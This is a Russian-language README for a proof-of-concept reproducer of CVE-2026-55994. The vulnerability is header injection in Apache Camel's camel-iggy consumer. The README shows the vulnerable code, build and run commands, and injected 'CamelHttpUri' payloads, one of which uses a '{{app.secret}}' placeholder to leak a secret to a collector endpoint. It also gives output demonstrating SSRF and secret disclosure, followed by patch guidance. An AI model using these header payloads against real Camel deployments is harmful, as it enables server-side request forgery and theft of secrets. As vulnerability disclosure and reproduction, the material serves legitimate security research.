oscerd/cve-2026-55994
PoC-репродуктор для CVE-2026-55994 (Apache Camel camel-iggy): потребитель копирует пользовательские заголовки сообщения Iggy в Exchange без фильтрации, поэтому внедрённый CamelHttpUri инициирует серверный запрос (SSRF) и раскрывает значения разрешённых плейсхолдеров свойств. Исправлено в 4.18.3/4.21.0.
Этот проект демонстрирует инъекцию заголовков сообщения в компоненте camel-iggy Apache Camel, отслеживаемую как
CVE-2026-55994. Потребитель Iggy копирует пользовательские заголовки входящего сообщения в Camel Exchange
без какого-либо HeaderFilterStrategy, поэтому любой, кто может публиковать в потребляемый топик Iggy, может внедрить
управляющие заголовки Camel — в частности CamelHttpUri:
// IggyFetchRecords.createExchange (affected 4.18.2) — Iggy message user-headers -> Exchange headers, unfiltered
message.userHeaders().ifPresent(userHeaders -> {
Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
e -> e.getKey(),
e -> e.getValue().value()));
exchange.getIn().setHeaders(stringUserHeaders);
});
Когда маршрут соединяет этого потребителя с HTTP-производителем, внедрённый CamelHttpUri — подделка серверных запросов (SSRF). Производитель camel-http также вызывает для
этого управляемого атакующим URI, поэтому внедрённая ссылка раскрывается до своего реального значения и отправляется наружу —
раскрывая переменные окружения, свойства приложения или секреты хранилища.
resolvePropertyPlaceholders(){{...}}Эта PoC демонстрирует влияние как SSRF плюс раскрытие секретов (CWE-20 → CWE-918 + CWE-200). Это один из
трёх родственных компонентов, исправленных вместе в рамках CAMEL-23532 (вместе с camel-vertx-websocket, CVE-2026-46726, и
camel-atmosphere-websocket, CVE-2026-55993).
Рекомендация: https://camel.apache.org/security/CVE-2026-55994.html
| Свойство | Значение |
|---|---|
| Компонент | camel-iggy |
| Затронутый класс | org.apache.camel.component.iggy.IggyFetchRecords#createExchange (сопоставляет пользовательские заголовки сообщения с заголовками Exchange без фильтра) |
| CWE | CWE-20 (некорректная проверка входных данных) → CWE-918 (SSRF) + CWE-200 (раскрытие информации) |
| Влияние | SSRF и раскрытие секретов через разрешение property-placeholder на внедрённом URI |
| Предусловия | Маршрут соединяет потребителя iggy: с HTTP-производителем; атакующий может публиковать в потребляемый топик |
| Затронутые версии | С 4.17.0 до 4.18.3, с 4.19.0 до 4.21.0 (camel-iggy появился в 4.17.0) |
| Исправленные версии | 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Автор | Kamalpreet Singh |
Исправление применяет
HeaderFilterStrategyк входящему сопоставлению, отфильтровывая заголовкиCamel*/camel*, чтобы их больше нельзя было внедрить через пользовательские заголовки сообщения Iggy.
Уязвимый IggyFetchRecords.createExchange(...) выполняется без изменений, на подделанном сообщении Iggy, чьи
пользовательские заголовки контролируются атакующим. Полученный Exchange проходит через реальный маршрут к реальному
производителю camel-http, поэтому SSRF и раскрытие property-placeholder {{...}} являются подлинными.
Почему не используется живой брокер Iggy. Метод
doStartпотребителяiggy:открывает соединение с запущенным сервером Iggy, поэтому маршрут не может запуститься без него — а сервер Apache Iggy требуетio_uring, который блокируется профилем seccomp Docker по умолчанию (он работает только с--privileged), что делает его непригодным для переносимой, доступной для совместного использования PoC. УязвимомуcreateExchangeброкер не нужен, поэтому драйвер создаёт реальныйIggyFetchRecordsи вызывает его напрямую с подделанным сообщением. Родственная PoC дляcamel-vertx-websocket(CVE-2026-46726) демонстрирует идентичный дефект через живой транспорт.
В реальном развёртывании: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend"). Здесь
нижняя половина — from("direct:iggy-delivery").to("http://localhost:8080/legit-backend"), получающая отравленный
Exchange, созданный реальным createExchange.
CVE-2026-55994/
├── pom.xml # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # downstream link -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect
│ └── ExploitController.java # forges an Iggy message + runs the real createExchange (injects CamelHttpUri)
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Ordinary message (user-header x-order-id=A-1001)
reached /legit-backend: true
reached /internal/secret: false
2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
Обновитесь до 4.18.3 / 4.21.0 (CAMEL-23532). После обновления потребитель отфильтровывает заголовки Camel* из
пользовательских заголовков сообщения Iggy, поэтому CamelHttpUri и другие управляющие заголовки больше нельзя внедрить.
До обновления не соединяйте потребитель iggy: напрямую с HTTP-производителем, не удалив сначала управляющие заголовки Camel
(например, removeHeaders("CamelHttp*")), и задавайте целевой URI производителя из доверенного источника (или
используйте bridgeEndpoint=true).
Этот репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.